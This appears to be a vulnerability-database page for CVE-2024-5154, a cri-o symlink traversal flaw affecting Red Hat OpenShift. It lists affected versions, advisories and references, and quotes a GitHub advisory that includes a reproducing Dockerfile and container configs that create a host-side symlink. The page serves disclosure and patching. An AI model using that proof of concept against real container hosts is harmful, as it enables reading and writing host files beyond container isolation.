CVE-2024-5154
highpriority · track · 0EPSS 0.012 · 69 %ileDEEURUUSEPSS · scored 2026-10-27
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (29)
Products and version ranges known to be affected.
- Red Hat Red Hat OpenShift Container Platform 4.12< 0:1.25.5-21.2.rhaos4.12.gita3eb75f.el8enisa_euvdEU
- Red Hat Red Hat OpenShift Container Platform 4.13< 0:1.26.5-18.2.rhaos4.13.git2e90133.el8enisa_euvdEU
- Red Hat Red Hat OpenShift Container Platform 4.16< 0:4.16.0-202406191607.p0.g58452d8.assembly.stream.el8enisa_euvdEU
advisories (3)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2024-1362Red Hat OpenShift: Mehrere Schwachstellen ermöglichen Offenlegung von Informationen und DateimanipulationDeutsch2024-06-11csaf · cert_bundDE
Ein lokaler Angreifer kann mehrere Schwachstellen in Red Hat OpenShift ausnutzen, um Informationen offenzulegen und Dateien zu manipulieren.
- GHSA-j9hf-98c3-wrm8malicious container creates symlink "mtab" on the host External2024-06-04ghsa · osvUS
### Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` ### Patches 1.30.1, 1.29.5, 1.28.7 ### Workarounds Unfortunately not ### References _Are there any links users can visit to find out more?_
- GO-2024-2919malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o2024-06-14vendor · osvUS
malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (27)
External citations — patches, advisories, analysis.
- https://access.redhat.com/errata/RHSA-2024:3676cnnvd
- https://access.redhat.com/errata/RHSA-2024:3700cnnvd
- https://access.redhat.com/errata/RHSA-2024:4008cnnvd
- https://access.redhat.com/errata/RHSA-2024:4486cnnvd
- https://access.redhat.com/security/cve/CVE-2024-5154cnnvd
- https://bugzilla.redhat.com/show_bug.cgi?id=2280190cnnvd
- https://cxsecurity.com/cveshow/CVE-2024-5154/cnnvd
- https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8cnnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan